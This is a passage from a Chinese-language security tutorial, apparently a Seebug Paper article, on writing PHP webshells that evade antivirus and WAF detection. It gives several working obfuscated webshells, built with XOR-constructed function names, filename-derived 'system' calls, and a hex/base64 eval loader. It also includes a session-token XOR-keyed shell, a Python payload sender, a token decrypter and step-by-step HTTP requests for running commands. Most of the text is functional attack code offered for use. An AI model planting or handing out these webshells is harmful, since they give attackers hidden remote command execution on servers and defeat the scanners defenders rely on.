$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['b']);
11.3 讀取目錄
FilesystemIterator 是一個迭代器,可以獲取到目標目錄下的所有文件信息
public FilesystemIterator::next ( void ) : void
可以嘗試使用 file_put_contents 寫入一個名為 system.aabyss 的空文件,然后遍歷目錄拿到字符串 system ,成功ByPass
$fi = new FilesystemIterator(dirname(__FILE__));
$f = '';
foreach($fi as $i){
if (substr($i->__toString(), -6,6)=='aabyss') //判斷后綴名為.aabyss的文件(其他特殊后綴也行)
$f = substr($i->__toString(), -13,6); //從system.aabyss提取出system高危函數
}
$f($_GET['b']);
為什么要寫入為 system.aabyss 這個文件名呢,因為特殊后綴能讓代碼快速鎖定文件,不至于提取文件名提取到其他文件了
12 多姿勢配合免殺
將以上提到的相關姿勢,進行多種配合嵌套,實現免殺效果
12.1 樣例一
剛開始看這個樣例我還是挺驚訝的,仔細分析了一波,發現還是挺簡單的,但重在思路 這個樣例使用了異或+變換參數的手法,成功規避了正則匹配式,具有實戰意義
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
這時候,就可以執行GET傳參:?_=system&__=whoami 來執行whoami命令
由8.1講到PHP中如何異或,我們就先把最前面這部分拆出來看看
<?=~$_='$<>/'^'{{{{';
//即 '$<>/' ^ '{{{{'
//即 "$<>/" 這部分字符串與后面 "{{{{" 這部分字符串異或
所以由我們前面所學的知識,加上自己動手實踐一下,可以發現異或結果為 _GET
所以整個PHP語句解密后,再將 _ 替換為 a,將 __ 替換為 b,則原PHP轉化為:
$_GET['a']($_GET['b'])
當我們給 a 傳 system,給 b 傳 whoami,原式就會變成這樣
system('whoami');
既然上面的代碼你看懂了,拿不妨看一下下面魔改的代碼:
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
直接用 Godzilla 哥斯拉來連接,如下:

當然這里使用到 assert 高危函數,只能用于 php 在 5.* 的版本,相關姿勢讀者不妨自行拓展一下哈哈~
12.2 樣例二
這個免殺馬是最近捕獲到的,可以輕松過D盾、阿里云等一眾查殺引擎~


這個樣例使用了字符串截取+編解碼轉換+參數回調的手法,成功規避了正則匹配式,具有實戰意義
<?php
phpinfo();
class Car{
function encode(){
$num1=base64_encode($_POST['num']);
$num=base64_decode($num1);
echo "1";
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
@$post=base64_encode($_POST['Qxi*37yz']);
@$post1=base64_decode(@$post);
return $post1;
}
function Xt(){
return eval($this->encode());
}
}
$t=new Car;
$t->Xt();
?>
這時候,就可以執行POST傳參:num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62 來執行whoami命令
這個PHP內定義了兩個函數,分別是 encode() 和 Xt(),我們先看 encode():
function encode(){
$num1=base64_encode($_POST['num']);
$num=base64_decode($num1);
echo "1";
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
@$post=base64_encode($_POST['Qxi*37yz']);
@$post1=base64_decode(@$post);
return $post1;
}
傳入了兩個參數,參數名分別為 num 和 Qxi*37yz,這個函數的輸出為 $post1,關鍵就在于以下這一行代碼:
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
然后我們根據上文提到的知識點0.8、1.5和2.1以及2.4,可以了解到這一行代碼的意思:
substr()函數將傳進去的Qxi*37yz參數字符串,刪掉前num個字符和后num個字符(截取中間部分的內容)pack("H*",...)函數將處理后的Qxi*37yz參數字符串進行十六進制編碼轉換foreach()將原本的$_POST變量替換為經過十六進制編碼轉換后的字符串
注:這里可能有些繞,多上手嘗試一下就明白了
接下來我們來看 Xt() 這個函數:
function Xt(){
return eval($this->encode());
}
它將 encode() 函數的執行結果帶入到 eval() 高危函數當中,即:
function Xt(){
return eval($post1); //encode()函數的輸出為$post1
}
那假設我們要執行 whoami 命令,那就要讓 $post1 等于 system('whoami');,這沒毛病吧?
所以結合來看,我們先要生成16進制的字符串:

但眼尖的師傅可能會發現,為什么最前面要加個 a 以及最后面要加個 b 呢?
那是因為上面有 substr() 函數啊,會刪掉前 num 個字符和后 num 個字符(截取中間部分的內容),小傻瓜~所以現在懂了嗎?
所以整體參數的傳參流程如下:

- 剛開始傳入參數:
num=2,Qxi*37yz=6173797374656d282777686f616d6927293b62 - 第一步:先根據
substr(),從num=2開始截取到倒數第2位,于是Qxi*37yz便等于73797374656d282777686f616d6927293b - 第二步:再根據
pack("H*",...),將Qxi*37yz=73797374656d282777686f616d6927293b從16進制轉為字符串即system('whoami'); - 第三步:最后根據
foreach(),將內容返還給原本的值,使得encode()函數的輸出變量$post1為system('whoami'); - 第四步:再在
Xt()函數當中,用eval()高危函數執行php語句system('whoami');,便成功執行系統命令whoami
當然這個PHP木馬也能用蟻劍來連接,前提是需要寫一個編碼器,如果你懂原理了,相信你分分鐘就能寫出來~
這里的話,微信的 @Elvery 師傅還寫了一個直接生成Payload一鍵傳參的Python腳本,師傅們可以參考一下:
import requests
import base64
# 指定num參數和要執行的PHP代碼
num = 5
php_code = 'echo "Hello, world!";'
# 把PHP代碼轉換為十六進制字符串
hex_code = php_code.encode().hex()
# 在字符串的開頭和結尾加上num個任意字符
encoded_code = 'a'*num + hex_code + 'a'*num
# 發送POST請求
response = requests.post('http://your-target-url/path-to-php-file.php', data={
'num': num,
'Qxi*37yz': encoded_code,
})
# 打印服務器的響應
print(response.text)

12.3 樣例三
這個免殺馬是在近期某大型攻防演練中捕獲到的,也是能過一眾查殺引擎~ 這個樣例使用了異或+編解碼轉換+參數加解密回調+密鑰協商的手法,成功規避了語義分析和正則匹配式,具有實戰意義
這個WebShell和冰蝎馬等具有相似性,各位師傅不妨可以看看原理:
<?php
session_start();
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return $r;
}
if (isset($_SERVER["HTTP_TOKEN"])) {
$t=substr(md5(rand()),16);
$_SESSION['token']=$t;
header('Token:'.$_SESSION['token']);
} else {
if(!isset($_SESSION['token'])) {
return;
}
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
class E {
public function __construct($p) {
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
$e = $c($p);
eval(null.$e."");
}
}
@new E(set_token($v, $_SESSION['token']));
}
這個WebShell要如何執行命令呢?共需要三步,請看我細細分析~
首先,這個函數定義了一個函數 set_token() 和一個類 class E,但我們不著急看,我們先看PHP先執行的部分:
if (isset($_SERVER["HTTP_TOKEN"])) {
$t=substr(md5(rand()),16);
$_SESSION['token']=$t;
header('Token:'.$_SESSION['token']);
} else {
if(!isset($_SESSION['token'])) {
return;
}
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
}
由1.6講到的知識點,結合PHP代碼可得:
if (!isset(_SESSION 是用于在PHP中存儲會話數據的關聯數組,通常用于在不同頁面之間共享數據。isset函數用于檢查變量是否已經被設置,如果變量存在并且有值,返回 true,否則返回 false。
所以根據知識點,我們要先給服務器發一個 Token 值,這樣就可以進入IF,服務器就會生成一個隨機的令牌(token)并將其存儲在會話(session)中,并通過HTTP頭部返回給客戶端
但 Token 只需要獲取一次就行了,因為服務器生成并返還令牌(token)后,會存在會話(session)中,簡單理解就是服務器的內存當中,后續的使用就不要添加Token 值了
【因為如果再獲取,令牌(token)又會重新生成,就無法進入else的后續步驟,這一步可能有點繞,不明白的師傅不妨上手實踐一下哈哈】
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
由8.1講到的異或和0.1講到的拼接賦值,以上代碼可轉化為:
$v = $_SERVER['HTTP_X_CSRF_TOKEN'];
$b = "base64_decode";
$v = $b($v."");
意思就是,從HTTP請求頭獲取名為 "HTTP_X_CSRF_TOKEN" 的值,并進行Base64解密再講值重新賦給 $v
接下來我們再來看類 class E :
class E {
public function __construct($p) {
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
$e = $c($p);
eval(null.$e."");
}
}
同樣根據相關知識點,我們可以將以上代碼轉化為以下:
class E {
public function __construct($p) {
$c = "base64_decode";
$e = $c($p);
eval(null.$e."");
}
}
意思就是類 class E 接受一個參數 $p,將其通過Base64解密后,放入高危函數 eval 內執行
那我們想要成功執行命令,就必須控制 $p 的傳入值
那我們看看所謂的 $p 是從哪里傳入的吧:
@new E(set_token($v, $_SESSION['token']));
由此可知,$p 為 set_token($v, $_SESSION['token']) 的執行結果,所以我們要控制 set_token($v, $_SESSION['token']) 的內容才能成功執行命令
$v參數:從HTTP請求頭獲取名為 "HTTP_X_CSRF_TOKEN" 的值,并進行Base64解密再講值重新賦給$v$_SESSION['token']參數:給服務器發一個TOKEN值,會生成一個隨機的令牌(token)并將其存儲在會話(session)中,并通過HTTP頭部返回給客戶端
明白了兩個參數都是從哪來的之后,我們再來看函數 set_token():
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return $r;
}
簡單來說,函數 set_token($v, $t) 就是一個加密算法,作用是根據輸入的兩個字符串 $v 和 $t,返回一個新的字符串 $r
該函數采用異或(XOR)操作對兩個字符串的每個字符進行逐一處理,并將結果拼接成新的字符串返回
而返回的 $r 變量,最終會傳入 @new E($r),進行Base64解密并放入高危函數 eval 內執行
打個比方,假設我們想執行系統命令 whoami,那 $r 變量就應該是 system('whoami'); Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg
而 $r 變量又是 set_token($v, $_SESSION['token']) 的加密結果,看上去很清晰,那目前我們的困境是什么?
那就是我們不知道 $v 應該傳什么值!!!我們目前只知道 $t=>$_SESSION['token'] 和執行的最終結果 $r=>c3lzdGVtKCd3aG9hbWknKTsg,那我們能不能通過這兩個變量獲得 $v呢,當然可以!!!
<?php
function decrypt_token($r, $t) {
$v = "";
for ($x = 0; $x < strlen($r); $x++) {
if (($x + 1) % strlen($t) != 0) {
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), ($x + 1) % strlen($t))));
} else {
$v .= chr(ord(substr($r, $x, $x + 1)) ^ ord(substr($t, $x % strlen($t), 16)));
}
}
return $v;
}
// 已知的 $t 和 $r 的值
$t = $_POST['token']; //已知的 $t 的值
$r = $_POST['out']; //"c3lzdGVtKCd3aG9hbWknKTsg" 已知的 $r 的值
// 解密已知的 $r 值得到 $v
$v = decrypt_token($r, $t);
echo base64_encode($v);
通過編寫這么一段代碼,調換了一下順序,就可以通過 $t=>$_SESSION['token'] 和 $r=>c3lzdGVtKCd3aG9hbWknKTsg,拿到參數 $v
至此,整條利用鏈已經清晰,我們來復現一下吧:
12.3.1 第一步、密鑰協商得到Token
對WebShell進行發包,Token 隨便填啥都行
GET /muma.php HTTP/1.1
Host: test.ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Token: 1
Content-Length: 0
在返回包中可以看到服務器生成的 Token 值和 Cookie 值

12.3.2 第二步,得到X-CSRF-TOKEN
假設我們想執行系統命令 whoami,PHP代碼就是 system('whoami');,對其進行Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg,當然你想執行其他的命令也行哈哈
POST /decode.php HTTP/1.1
Host: test.ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
token=a2b3fca92539495e&out=c3lzdGVtKCd3aG9hbWknKTsg
然后通過上文寫的解密PHP,通過第一步獲得的 Token 值和最終Base64加密后的字符串 c3lzdGVtKCd3aG9hbWknKTsg,拿到得到 X-CSRF-TOKEN

注:這不是對WebShell發包,而是我上面寫的解密PHP decode.php 來進行解密
12.3.3 第三步,利用木馬成功執行命令
現在已經拿到 X-CSRF-TOKEN 和 Cookie 了,那就直接發包即可
POST /muma.php HTTP/1.1
Host: test.ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6g4sgte2t8nnv65u8er5cfdtnq;
X-CSRF-TOKEN: AgEOSQIkN015dlcKVX4MDQNlCV0tNxJe
Content-Length: 0
可以看到,成功執行系統命令 whoami 了

所以你學廢了嗎?更多有趣的WebShell免殺案例等我后續更新~
四、總結
上面分享了諸多姿勢,重點還是靈活依靠思路和姿勢,通過活用各種特性和函數來和WAF對抗,相信你自己也可以的!
在寫這個整理的文檔的時候,也收獲頗多,希望各位師傅能認真研讀,小人不才望大佬多加指正
其實在我個人的眼里,安全對抗其實就是人與人之間的靈魂、思維在碰撞和對抗,我一直執著于這個過程,也歡迎各位師傅和我互相學習、共同進步哈哈~
我的個人Github: https://github.com/AabyssZG/

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/3044/